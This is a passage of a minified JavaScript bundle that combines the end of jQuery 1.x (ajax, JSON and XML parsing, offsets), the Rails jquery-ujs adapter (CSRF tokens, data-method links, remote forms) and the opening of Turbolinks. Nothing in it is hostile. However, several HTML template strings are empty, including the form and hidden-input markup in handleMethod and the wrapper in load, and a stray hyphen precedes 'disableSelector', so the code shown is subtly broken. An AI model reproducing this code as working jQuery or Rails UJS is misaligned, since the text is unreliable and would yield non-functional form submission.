0!==t&&"boolean"!==n||(e=V(this),e&&ft._data(this,"__className__",e),ft.attr(this,"class",e||t===!1?"":ft._data(this,"__className__")||""))})},hasClass:function(t){var e,n,r=0;for(e=" "+t+" ";n=this[r++];)if(1===n.nodeType&&(" "+V(n)+" ").replace(Be," ").indexOf(e)>-1)return!0;return!1}}),ft.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(t,e){ft.fn[e]=function(t,n){return arguments.length>0?this.on(e,null,t,n):this.trigger(e)}}),ft.fn.extend({hover:function(t,e){return this.mouseenter(t).mouseleave(e||t)}});var Oe=t.location,_e=ft.now(),$e=/\?/,We=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;ft.parseJSON=function(e){if(t.JSON&&t.JSON.parse)return t.JSON.parse(e+"");var n,r=null,i=ft.trim(e+"");return i&&!ft.trim(i.replace(We,function(t,e,i,o){return n&&e&&(r=0),0===r?t:(n=i||e,r+=!o-!i,"")}))?Function("return "+i)():ft.error("Invalid JSON: "+e)},ft.parseXML=function(e){var n,r;if(!e||"string"!=typeof e)return null;try{t.DOMParser?(r=new t.DOMParser,n=r.parseFromString(e,"text/xml")):(n=new t.ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(e))}catch(t){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||ft.error("Invalid XML: "+e),n};var Ve=/#.*$/,ze=/([?&])_=[^&]*/,Ue=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Xe=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ke=/^(?:GET|HEAD)$/,Ge=/^\/\//,Ye=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Je={},Qe={},Ze="*/".concat("*"),tn=Oe.href,en=Ye.exec(tn.toLowerCase())||[];ft.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tn,type:"GET",isLocal:Xe.test(en[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Ze,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":ft.parseJSON,"text xml":ft.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(t,e){return e?X(X(t,ft.ajaxSettings),e):X(ft.ajaxSettings,t)},ajaxPrefilter:z(Je),ajaxTransport:z(Qe),ajax:function(e,n){function r(e,n,r,i){var o,d,g,b,w,T=n;2!==x&&(x=2,l&&t.clearTimeout(l),c=void 0,s=i||"",E.readyState=e>0?4:0,o=e>=200&&e<300||304===e,r&&(b=K(p,E,r)),b=G(p,b,E,o),o?(p.ifModified&&(w=E.getResponseHeader("Last-Modified"),w&&(ft.lastModified[a]=w),w=E.getResponseHeader("etag"),w&&(ft.etag[a]=w)),204===e||"HEAD"===p.type?T="nocontent":304===e?T="notmodified":(T=b.state,d=b.data,g=b.error,o=!g)):(g=T,!e&&T||(T="error",e<0&&(e=0))),E.status=e,E.statusText=(n||T)+"",o?m.resolveWith(f,[d,T,E]):m.rejectWith(f,[E,T,g]),E.statusCode(v),v=void 0,u&&h.trigger(o?"ajaxSuccess":"ajaxError",[E,p,o?d:g]),y.fireWith(f,[E,T]),u&&(h.trigger("ajaxComplete",[E,p]),--ft.active||ft.event.trigger("ajaxStop")))}"object"==typeof e&&(n=e,e=void 0),n=n||{};var i,o,a,s,l,u,c,d,p=ft.ajaxSetup({},n),f=p.context||p,h=p.context&&(f.nodeType||f.jquery)?ft(f):ft.event,m=ft.Deferred(),y=ft.Callbacks("once memory"),v=p.statusCode||{},g={},b={},x=0,w="canceled",E={readyState:0,getResponseHeader:function(t){var e;if(2===x){if(!d)for(d={};e=Ue.exec(s);)d[e[1].toLowerCase()]=e[2];e=d[t.toLowerCase()]}return null==e?null:e},getAllResponseHeaders:function(){return 2===x?s:null},setRequestHeader:function(t,e){var n=t.toLowerCase();return x||(t=b[n]=b[n]||t,g[t]=e),this},overrideMimeType:function(t){return x||(p.mimeType=t),this},statusCode:function(t){var e;if(t)if(x<2)for(e in t)v[e]=[v[e],t[e]];else E.always(t[E.status]);return this},abort:function(t){var e=t||w;return c&&c.abort(e),r(0,e),this}};if(m.promise(E).complete=y.add,E.success=E.done,E.error=E.fail,p.url=((e||p.url||tn)+"").replace(Ve,"").replace(Ge,en[1]+"//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=ft.trim(p.dataType||"*").toLowerCase().match(Nt)||[""],null==p.crossDomain&&(i=Ye.exec(p.url.toLowerCase()),p.crossDomain=!(!i||i[1]===en[1]&&i[2]===en[2]&&(i[3]||("http:"===i[1]?"80":"443"))===(en[3]||("http:"===en[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=ft.param(p.data,p.traditional)),U(Je,p,n,E),2===x)return E;u=ft.event&&p.global,u&&0===ft.active++&&ft.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Ke.test(p.type),a=p.url,p.hasContent||(p.data&&(a=p.url+=($e.test(a)?"&":"?")+p.data,delete p.data),p.cache===!1&&(p.url=ze.test(a)?a.replace(ze,"$1_="+_e++):a+($e.test(a)?"&":"?")+"_="+_e++)),p.ifModified&&(ft.lastModified[a]&&E.setRequestHeader("If-Modified-Since",ft.lastModified[a]),ft.etag[a]&&E.setRequestHeader("If-None-Match",ft.etag[a])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&E.setRequestHeader("Content-Type",p.contentType),E.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]]+("*"!==p.dataTypes[0]?", "+Ze+"; q=0.01":""):p.accepts["*"]);for(o in p.headers)E.setRequestHeader(o,p.headers[o]);if(p.beforeSend&&(p.beforeSend.call(f,E,p)===!1||2===x))return E.abort();w="abort";for(o in{success:1,error:1,complete:1})E[o](p[o]);if(c=U(Qe,p,n,E)){if(E.readyState=1,u&&h.trigger("ajaxSend",[E,p]),2===x)return E;p.async&&p.timeout>0&&(l=t.setTimeout(function(){E.abort("timeout")},p.timeout));try{x=1,c.send(g,r)}catch(t){if(!(x<2))throw t;r(-1,t)}}else r(-1,"No Transport");return E},getJSON:function(t,e,n){return ft.get(t,e,n,"json")},getScript:function(t,e){return ft.get(t,void 0,e,"script")}}),ft.each(["get","post"],function(t,e){ft[e]=function(t,n,r,i){return ft.isFunction(n)&&(i=i||r,r=n,n=void 0),ft.ajax(ft.extend({url:t,type:e,dataType:i,data:n,success:r},ft.isPlainObject(t)&&t))}}),ft._evalUrl=function(t){return ft.ajax({url:t,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},ft.fn.extend({wrapAll:function(t){if(ft.isFunction(t))return this.each(function(e){ft(this).wrapAll(t.call(this,e))});if(this[0]){var e=ft(t,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&e.insertBefore(this[0]),e.map(function(){for(var t=this;t.firstChild&&1===t.firstChild.nodeType;)t=t.firstChild;return t}).append(this)}return this},wrapInner:function(t){return ft.isFunction(t)?this.each(function(e){ft(this).wrapInner(t.call(this,e))}):this.each(function(){var e=ft(this),n=e.contents();n.length?n.wrapAll(t):e.append(t)})},wrap:function(t){var e=ft.isFunction(t);return this.each(function(n){ft(this).wrapAll(e?t.call(this,n):t)})},unwrap:function(){return this.parent().each(function(){ft.nodeName(this,"body")||ft(this).replaceWith(this.childNodes)}).end()}}),ft.expr.filters.hidden=function(t){return dt.reliableHiddenOffsets()?t.offsetWidth<=0&&t.offsetHeight<=0&&!t.getClientRects().length:J(t)},ft.expr.filters.visible=function(t){return!ft.expr.filters.hidden(t)};var nn=/%20/g,rn=/\[\]$/,on=/\r?\n/g,an=/^(?:submit|button|image|reset|file)$/i,sn=/^(?:input|select|textarea|keygen)/i;ft.param=function(t,e){var n,r=[],i=function(t,e){e=ft.isFunction(e)?e():null==e?"":e,r[r.length]=encodeURIComponent(t)+"="+encodeURIComponent(e)};if(void 0===e&&(e=ft.ajaxSettings&&ft.ajaxSettings.traditional),ft.isArray(t)||t.jquery&&!ft.isPlainObject(t))ft.each(t,function(){i(this.name,this.value)});else for(n in t)Q(n,t[n],e,i);return r.join("&").replace(nn,"+")},ft.fn.extend({serialize:function(){return ft.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var t=ft.prop(this,"elements");return t?ft.makeArray(t):this}).filter(function(){var t=this.type;return this.name&&!ft(this).is(":disabled")&&sn.test(this.nodeName)&&!an.test(t)&&(this.checked||!Ot.test(t))}).map(function(t,e){var n=ft(this).val();return null==n?null:ft.isArray(n)?ft.map(n,function(t){return{name:e.name,value:t.replace(on,"\r\n")}}):{name:e.name,value:n.replace(on,"\r\n")}}).get()}}),ft.ajaxSettings.xhr=void 0!==t.ActiveXObject?function(){return this.isLocal?tt():rt.documentMode>8?Z():/^(get|post|head|put|delete|options)$/i.test(this.type)&&Z()||tt()}:Z;var ln=0,un={},cn=ft.ajaxSettings.xhr();t.attachEvent&&t.attachEvent("onunload",function(){for(var t in un)un[t](void 0,!0)}),dt.cors=!!cn&&"withCredentials"in cn,cn=dt.ajax=!!cn,cn&&ft.ajaxTransport(function(e){if(!e.crossDomain||dt.cors){var n;return{send:function(r,i){var o,a=e.xhr(),s=++ln;if(a.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(o in e.xhrFields)a[o]=e.xhrFields[o];e.mimeType&&a.overrideMimeType&&a.overrideMimeType(e.mimeType),e.crossDomain||r["X-Requested-With"]||(r["X-Requested-With"]="XMLHttpRequest");for(o in r)void 0!==r[o]&&a.setRequestHeader(o,r[o]+"");a.send(e.hasContent&&e.data||null),n=function(t,r){var o,l,u;if(n&&(r||4===a.readyState))if(delete un[s],n=void 0,a.onreadystatechange=ft.noop,r)4!==a.readyState&&a.abort();else{u={},o=a.status,"string"==typeof a.responseText&&(u.text=a.responseText);try{l=a.statusText}catch(t){l=""}o||!e.isLocal||e.crossDomain?1223===o&&(o=204):o=u.text?200:404}u&&i(o,l,u,a.getAllResponseHeaders())},e.async?4===a.readyState?t.setTimeout(n):a.onreadystatechange=un[s]=n:n()},abort:function(){n&&n(void 0,!0)}}}}),ft.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(t){return ft.globalEval(t),t}}}),ft.ajaxPrefilter("script",function(t){void 0===t.cache&&(t.cache=!1),t.crossDomain&&(t.type="GET",t.global=!1)}),ft.ajaxTransport("script",function(t){if(t.crossDomain){var e,n=rt.head||ft("head")[0]||rt.documentElement;return{send:function(r,i){e=rt.createElement("script"),e.async=!0,t.scriptCharset&&(e.charset=t.scriptCharset),e.src=t.url,e.onload=e.onreadystatechange=function(t,n){(n||!e.readyState||/loaded|complete/.test(e.readyState))&&(e.onload=e.onreadystatechange=null,e.parentNode&&e.parentNode.removeChild(e),e=null,n||i(200,"success"))},n.insertBefore(e,n.firstChild)},abort:function(){e&&e.onload(void 0,!0)}}}});var dn=[],pn=/(=)\?(?=&|$)|\?\?/;ft.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var t=dn.pop()||ft.expando+"_"+_e++;return this[t]=!0,t}}),ft.ajaxPrefilter("json jsonp",function(e,n,r){var i,o,a,s=e.jsonp!==!1&&(pn.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&pn.test(e.data)&&"data");if(s||"jsonp"===e.dataTypes[0])return i=e.jsonpCallback=ft.isFunction(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,s?e[s]=e[s].replace(pn,"$1"+i):e.jsonp!==!1&&(e.url+=($e.test(e.url)?"&":"?")+e.jsonp+"="+i),e.converters["script json"]=function(){return a||ft.error(i+" was not called"),a[0]},e.dataTypes[0]="json",o=t[i],t[i]=function(){a=arguments},r.always(function(){void 0===o?ft(t).removeProp(i):t[i]=o,e[i]&&(e.jsonpCallback=n.jsonpCallback,dn.push(i)),a&&ft.isFunction(o)&&o(a[0]),a=o=void 0}),"script"}),ft.parseHTML=function(t,e,n){if(!t||"string"!=typeof t)return null;"boolean"==typeof e&&(n=e,e=!1),e=e||rt;var r=Et.exec(t),i=!n&&[];return r?[e.createElement(r[1])]:(r=v([t],e,i),i&&i.length&&ft(i).remove(),ft.merge([],r.childNodes))};var fn=ft.fn.load;ft.fn.load=function(t,e,n){if("string"!=typeof t&&fn)return fn.apply(this,arguments);var r,i,o,a=this,s=t.indexOf(" ");return s>-1&&(r=ft.trim(t.slice(s,t.length)),t=t.slice(0,s)),ft.isFunction(e)?(n=e,e=void 0):e&&"object"==typeof e&&(i="POST"),a.length>0&&ft.ajax({url:t,type:i||"GET",dataType:"html",data:e}).done(function(t){o=arguments,a.html(r?ft("
").append(ft.parseHTML(t)).find(r):t)}).always(n&&function(t,e){a.each(function(){n.apply(this,o||[t.responseText,e,t])})}),this},ft.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(t,e){ft.fn[e]=function(t){return this.on(e,t)}}),ft.expr.filters.animated=function(t){return ft.grep(ft.timers,function(e){return t===e.elem}).length},ft.offset={setOffset:function(t,e,n){var r,i,o,a,s,l,u,c=ft.css(t,"position"),d=ft(t),p={};"static"===c&&(t.style.position="relative"),s=d.offset(),o=ft.css(t,"top"),l=ft.css(t,"left"),u=("absolute"===c||"fixed"===c)&&ft.inArray("auto",[o,l])>-1,u?(r=d.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(l)||0),ft.isFunction(e)&&(e=e.call(t,n,ft.extend({},s))),null!=e.top&&(p.top=e.top-s.top+a),null!=e.left&&(p.left=e.left-s.left+i),"using"in e?e.using.call(t,p):d.css(p)}},ft.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){ft.offset.setOffset(this,t,e)});var e,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return e=o.documentElement,ft.contains(e,i)?("undefined"!=typeof i.getBoundingClientRect&&(r=i.getBoundingClientRect()),n=et(o),{top:r.top+(n.pageYOffset||e.scrollTop)-(e.clientTop||0),left:r.left+(n.pageXOffset||e.scrollLeft)-(e.clientLeft||0)}):r},position:function(){if(this[0]){var t,e,n={top:0,left:0},r=this[0];return"fixed"===ft.css(r,"position")?e=r.getBoundingClientRect():(t=this.offsetParent(),e=this.offset(),ft.nodeName(t[0],"html")||(n=t.offset()),n.top+=ft.css(t[0],"borderTopWidth",!0),n.left+=ft.css(t[0],"borderLeftWidth",!0)),{top:e.top-n.top-ft.css(r,"marginTop",!0),left:e.left-n.left-ft.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var t=this.offsetParent;t&&!ft.nodeName(t,"html")&&"static"===ft.css(t,"position");)t=t.offsetParent;return t||fe})}}),ft.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,e){var n=/Y/.test(e);ft.fn[t]=function(r){return Bt(this,function(t,r,i){var o=et(t);return void 0===i?o?e in o?o[e]:o.document.documentElement[r]:t[r]:void(o?o.scrollTo(n?ft(o).scrollLeft():i,n?i:ft(o).scrollTop()):t[r]=i)},t,r,arguments.length,null)}}),ft.each(["top","left"],function(t,e){ft.cssHooks[e]=q(dt.pixelPosition,function(t,n){if(n)return n=me(t,e),de.test(n)?ft(t).position()[e]+"px":n})}),ft.each({Height:"height",Width:"width"},function(t,e){ft.each({padding:"inner"+t,content:e,"":"outer"+t},function(n,r){ft.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return Bt(this,function(e,n,r){var i;return ft.isWindow(e)?e.document.documentElement["client"+t]:9===e.nodeType?(i=e.documentElement,Math.max(e.body["scroll"+t],i["scroll"+t],e.body["offset"+t],i["offset"+t],i["client"+t])):void 0===r?ft.css(e,n,a):ft.style(e,n,r,a)},e,o?r:void 0,o,null)}})}),ft.fn.extend({bind:function(t,e,n){return this.on(t,null,e,n)},unbind:function(t,e){return this.off(t,null,e)},delegate:function(t,e,n,r){return this.on(e,t,n,r)},undelegate:function(t,e,n){return 1===arguments.length?this.off(t,"**"):this.off(e,t||"**",n)}}),ft.fn.size=function(){return this.length},ft.fn.andSelf=ft.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return ft});var hn=t.jQuery,mn=t.$;return ft.noConflict=function(e){return t.$===ft&&(t.$=mn),e&&t.jQuery===ft&&(t.jQuery=hn),ft},e||(t.jQuery=t.$=ft),ft}),function(t,e){"use strict";t.rails!==e&&t.error("jquery-ujs has already been loaded!");var n,r=t(document);t.rails=n={linkClickSelector:"a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]",buttonClickSelector:"button[data-remote]:not([form]):not(form button), button[data-confirm]:not([form]):not(form button)",inputChangeSelector:"select[data-remote], input[data-remote], textarea[data-remote]",formSubmitSelector:"form",formInputClickSelector:"form input[type=submit], form input[type=image], form button[type=submit], form button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])", -disableSelector:"input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled",enableSelector:"input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled",requiredInputSelector:"input[name][required]:not([disabled]), textarea[name][required]:not([disabled])",fileInputSelector:"input[name][type=file]:not([disabled])",linkDisableSelector:"a[data-disable-with], a[data-disable]",buttonDisableSelector:"button[data-remote][data-disable-with], button[data-remote][data-disable]",csrfToken:function(){return t("meta[name=csrf-token]").attr("content")},csrfParam:function(){return t("meta[name=csrf-param]").attr("content")},CSRFProtection:function(t){var e=n.csrfToken();e&&t.setRequestHeader("X-CSRF-Token",e)},refreshCSRFTokens:function(){t('form input[name="'+n.csrfParam()+'"]').val(n.csrfToken())},fire:function(e,n,r){var i=t.Event(n);return e.trigger(i,r),i.result!==!1},confirm:function(t){return confirm(t)},ajax:function(e){return t.ajax(e)},href:function(t){return t[0].href},isRemote:function(t){return t.data("remote")!==e&&t.data("remote")!==!1},handleRemote:function(r){var i,o,a,s,l,u;if(n.fire(r,"ajax:before")){if(s=r.data("with-credentials")||null,l=r.data("type")||t.ajaxSettings&&t.ajaxSettings.dataType,r.is("form")){i=r.data("ujs:submit-button-formmethod")||r.attr("method"),o=r.data("ujs:submit-button-formaction")||r.attr("action"),a=t(r[0]).serializeArray();var c=r.data("ujs:submit-button");c&&(a.push(c),r.data("ujs:submit-button",null)),r.data("ujs:submit-button-formmethod",null),r.data("ujs:submit-button-formaction",null)}else r.is(n.inputChangeSelector)?(i=r.data("method"),o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):r.is(n.buttonClickSelector)?(i=r.data("method")||"get",o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):(i=r.data("method"),o=n.href(r),a=r.data("params")||null);return u={type:i||"GET",data:a,dataType:l,beforeSend:function(t,i){return i.dataType===e&&t.setRequestHeader("accept","*/*;q=0.5, "+i.accepts.script),!!n.fire(r,"ajax:beforeSend",[t,i])&&void r.trigger("ajax:send",t)},success:function(t,e,n){r.trigger("ajax:success",[t,e,n])},complete:function(t,e){r.trigger("ajax:complete",[t,e])},error:function(t,e,n){r.trigger("ajax:error",[t,e,n])},crossDomain:n.isCrossDomain(o)},s&&(u.xhrFields={withCredentials:s}),o&&(u.url=o),n.ajax(u)}return!1},isCrossDomain:function(t){var e=document.createElement("a");e.href=location.href;var n=document.createElement("a");try{return n.href=t,n.href=n.href,!((!n.protocol||":"===n.protocol)&&!n.host||e.protocol+"//"+e.host==n.protocol+"//"+n.host)}catch(t){return!0}},handleMethod:function(r){var i=n.href(r),o=r.data("method"),a=r.attr("target"),s=n.csrfToken(),l=n.csrfParam(),u=t(''),c='';l===e||s===e||n.isCrossDomain(i)||(c+=''),a&&u.attr("target",a),u.hide().append(c).appendTo("body"),u.submit()},formElements:function(e,n){return e.is("form")?t(e[0].elements).filter(n):e.find(n)},disableFormElements:function(e){n.formElements(e,n.disableSelector).each(function(){n.disableFormElement(t(this))})},disableFormElement:function(t){var n,r;n=t.is("button")?"html":"val",r=t.data("disable-with"),r!==e&&(t.data("ujs:enable-with",t[n]()),t[n](r)),t.prop("disabled",!0),t.data("ujs:disabled",!0)},enableFormElements:function(e){n.formElements(e,n.enableSelector).each(function(){n.enableFormElement(t(this))})},enableFormElement:function(t){var n=t.is("button")?"html":"val";t.data("ujs:enable-with")!==e&&(t[n](t.data("ujs:enable-with")),t.removeData("ujs:enable-with")),t.prop("disabled",!1),t.removeData("ujs:disabled")},allowAction:function(t){var e,r=t.data("confirm"),i=!1;if(!r)return!0;if(n.fire(t,"confirm")){try{i=n.confirm(r)}catch(t){(console.error||console.log).call(console,t.stack||t)}e=n.fire(t,"confirm:complete",[i])}return i&&e},blankInputs:function(e,n,r){var i,o,a,s,l=t(),u=n||"input,textarea",c=e.find(u),d={};return c.each(function(){i=t(this),i.is("input[type=radio]")?(s=i.attr("name"),d[s]||(0===e.find('input[type=radio]:checked[name="'+s+'"]').length&&(a=e.find('input[type=radio][name="'+s+'"]'),l=l.add(a)),d[s]=s)):(o=i.is("input[type=checkbox],input[type=radio]")?i.is(":checked"):!!i.val(),o===r&&(l=l.add(i)))}),!!l.length&&l},nonBlankInputs:function(t,e){return n.blankInputs(t,e,!0)},stopEverything:function(e){return t(e.target).trigger("ujs:everythingStopped"),e.stopImmediatePropagation(),!1},disableElement:function(t){var r=t.data("disable-with");r!==e&&(t.data("ujs:enable-with",t.html()),t.html(r)),t.bind("click.railsDisable",function(t){return n.stopEverything(t)}),t.data("ujs:disabled",!0)},enableElement:function(t){t.data("ujs:enable-with")!==e&&(t.html(t.data("ujs:enable-with")),t.removeData("ujs:enable-with")),t.unbind("click.railsDisable"),t.removeData("ujs:disabled")}},n.fire(r,"rails:attachBindings")&&(t.ajaxPrefilter(function(t,e,r){t.crossDomain||n.CSRFProtection(r)}),t(window).on("pageshow.rails",function(){t(t.rails.enableSelector).each(function(){var e=t(this);e.data("ujs:disabled")&&t.rails.enableFormElement(e)}),t(t.rails.linkDisableSelector).each(function(){var e=t(this);e.data("ujs:disabled")&&t.rails.enableElement(e)})}),r.on("ajax:complete",n.linkDisableSelector,function(){n.enableElement(t(this))}),r.on("ajax:complete",n.buttonDisableSelector,function(){n.enableFormElement(t(this))}),r.on("click.rails",n.linkClickSelector,function(e){var r=t(this),i=r.data("method"),o=r.data("params"),a=e.metaKey||e.ctrlKey;if(!n.allowAction(r))return n.stopEverything(e);if(!a&&r.is(n.linkDisableSelector)&&n.disableElement(r),n.isRemote(r)){if(a&&(!i||"GET"===i)&&!o)return!0;var s=n.handleRemote(r);return s===!1?n.enableElement(r):s.fail(function(){n.enableElement(r)}),!1}return i?(n.handleMethod(r),!1):void 0}),r.on("click.rails",n.buttonClickSelector,function(e){var r=t(this);if(!n.allowAction(r)||!n.isRemote(r))return n.stopEverything(e);r.is(n.buttonDisableSelector)&&n.disableFormElement(r);var i=n.handleRemote(r);return i===!1?n.enableFormElement(r):i.fail(function(){n.enableFormElement(r)}),!1}),r.on("change.rails",n.inputChangeSelector,function(e){var r=t(this);return n.allowAction(r)&&n.isRemote(r)?(n.handleRemote(r),!1):n.stopEverything(e)}),r.on("submit.rails",n.formSubmitSelector,function(r){var i,o,a=t(this),s=n.isRemote(a);if(!n.allowAction(a))return n.stopEverything(r);if(a.attr("novalidate")===e)if(a.data("ujs:formnovalidate-button")===e){if(i=n.blankInputs(a,n.requiredInputSelector,!1),i&&n.fire(a,"ajax:aborted:required",[i]))return n.stopEverything(r)}else a.data("ujs:formnovalidate-button",e);if(s){if(o=n.nonBlankInputs(a,n.fileInputSelector)){setTimeout(function(){n.disableFormElements(a)},13);var l=n.fire(a,"ajax:aborted:file",[o]);return l||setTimeout(function(){n.enableFormElements(a)},13),l}return n.handleRemote(a),!1}setTimeout(function(){n.disableFormElements(a)},13)}),r.on("click.rails",n.formInputClickSelector,function(e){var r=t(this);if(!n.allowAction(r))return n.stopEverything(e);var i=r.attr("name"),o=i?{name:i,value:r.val()}:null,a=r.closest("form");0===a.length&&(a=t("#"+r.attr("form"))),a.data("ujs:submit-button",o),a.data("ujs:formnovalidate-button",r.attr("formnovalidate")),a.data("ujs:submit-button-formaction",r.attr("formaction")),a.data("ujs:submit-button-formmethod",r.attr("formmethod"))}),r.on("ajax:send.rails",n.formSubmitSelector,function(e){this===e.target&&n.disableFormElements(t(this))}),r.on("ajax:complete.rails",n.formSubmitSelector,function(e){this===e.target&&n.enableFormElements(t(this))}),t(function(){n.refreshCSRFTokens()}))}(jQuery),function(){(function(){(function(){this.Turbolinks={supported:function(){return null!=window.history.pushState&&null!=window.requestAnimationFrame}(),visit:function(e,n){return t.controller.visit(e,n)},clearCache:function(){return t.controller.clearCache()}}}).call(this)}).call(this);var t=this.Turbolinks;(function(){(function(){var e,n;t.copyObject=function(t){var e,n,r;n={};for(e in t)r=t[e],n[e]=r;return n},t.closest=function(t,n){return e.call(t,n)},e=function(){var t,e;return t=document.documentElement,null!=(e=t.closest)?e:function(t){var e;for(e=this;e;){if(e.nodeType===Node.ELEMENT_NODE&&n.call(e,t))return e;e=e.parentNode}}}(),t.defer=function(t){return setTimeout(t,1)},t.dispatch=function(t,e){var n,r,i,o,a;return o=null!=e?e:{},a=o.target,n=o.cancelable,r=o.data,i=document.createEvent("Events"),i.initEvent(t,!0,n===!0),i.data=null!=r?r:{},(null!=a?a:document).dispatchEvent(i),i},t.match=function(t,e){return n.call(t,e)},n=function(){var t,e,n,r;return t=document.documentElement,null!=(e=null!=(n=null!=(r=t.matchesSelector)?r:t.webkitMatchesSelector)?n:t.msMatchesSelector)?e:t.mozMatchesSelector}(),t.uuid=function(){var t,e,n;for(n="",t=e=1;36>=e;t=++e)n+=9===t||14===t||19===t||24===t?"-":15===t?"4":20===t?(Math.floor(4*Math.random())+8).toString(16):Math.floor(15*Math.random()).toString(16);return n}}).call(this),function(){t.Location=function(){function t(t){var e,n;null==t&&(t=""),n=document.createElement("a"),n.href=t.toString(),this.absoluteURL=n.href,e=n.hash.length,2>e?this.requestURL=this.absoluteURL:(this.requestURL=this.absoluteURL.slice(0,-e),this.anchor=n.hash.slice(1))}var e,n,r,i;return t.wrap=function(t){return t instanceof this?t:new this(t)},t.prototype.getOrigin=function(){return this.absoluteURL.split("/",3).join("/")},t.prototype.getPath=function(){var t,e;return null!=(t=null!=(e=this.absoluteURL.match(/\/\/[^\/]*(\/[^?;]*)/))?e[1]:void 0)?t:"/"},t.prototype.getPathComponents=function(){return this.getPath().split("/").slice(1)},t.prototype.getLastPathComponent=function(){return this.getPathComponents().slice(-1)[0]},t.prototype.getExtension=function(){var t,e;return null!=(t=null!=(e=this.getLastPathComponent().match(/\.[^.]*$/))?e[0]:void 0)?t:""},t.prototype.isHTML=function(){return this.getExtension().match(/^(?:|\.(?:htm|html|xhtml))$/)},t.prototype.isPrefixedBy=function(t){var e;return e=n(t),this.isEqualTo(t)||i(this.absoluteURL,e)},t.prototype.isEqualTo=function(t){return this.absoluteURL===(null!=t?t.absoluteURL:void 0)},t.prototype.toCacheKey=function(){return this.requestURL},t.prototype.toJSON=function(){return this.absoluteURL},t.prototype.toString=function(){return this.absoluteURL},t.prototype.valueOf=function(){return this.absoluteURL},n=function(t){return e(t.getOrigin()+t.getPath())},e=function(t){return r(t,"/")?t:t+"/"},i=function(t,e){return t.slice(0,e.length)===e},r=function(t,e){return t.slice(-e.length)===e},t}()}.call(this),function(){var e=function(t,e){return function(){return t.apply(e,arguments)}};t.HttpRequest=function(){function n(n,r,i){this.delegate=n,this.requestCanceled=e(this.requestCanceled,this),this.requestTimedOut=e(this.requestTimedOut,this),this.requestFailed=e(this.requestFailed,this),this.requestLoaded=e(this.requestLoaded,this),this.requestProgressed=e(this.requestProgressed,this),this.url=t.Location.wrap(r).requestURL,this.referrer=t.Location.wrap(i).absoluteURL,this.createXHR()}return n.NETWORK_FAILURE=0,n.TIMEOUT_FAILURE=-1,n.timeout=60,n.prototype.send=function(){var t;return this.xhr&&!this.sent?(this.notifyApplicationBeforeRequestStart(),this.setProgress(0),this.xhr.send(),this.sent=!0,"function"==typeof(t=this.delegate).requestStarted?t.requestStarted():void 0):void 0},n.prototype.cancel=function(){return this.xhr&&this.sent?this.xhr.abort():void 0},n.prototype.requestProgressed=function(t){return t.lengthComputable?this.setProgress(t.loaded/t.total):void 0},n.prototype.requestLoaded=function(){return this.endRequest(function(t){return function(){var e;return 200<=(e=t.xhr.status)&&300>e?t.delegate.requestCompletedWithResponse(t.xhr.responseText,t.xhr.getResponseHeader("Turbolinks-Location")):(t.failed=!0,t.delegate.requestFailedWithStatusCode(t.xhr.status,t.xhr.responseText))}}(this))},n.prototype.requestFailed=function(){return this.endRequest(function(t){return function(){return t.failed=!0,t.delegate.requestFailedWithStatusCode(t.constructor.NETWORK_FAILURE)}}(this))},n.prototype.requestTimedOut=function(){return this.endRequest(function(t){return function(){return 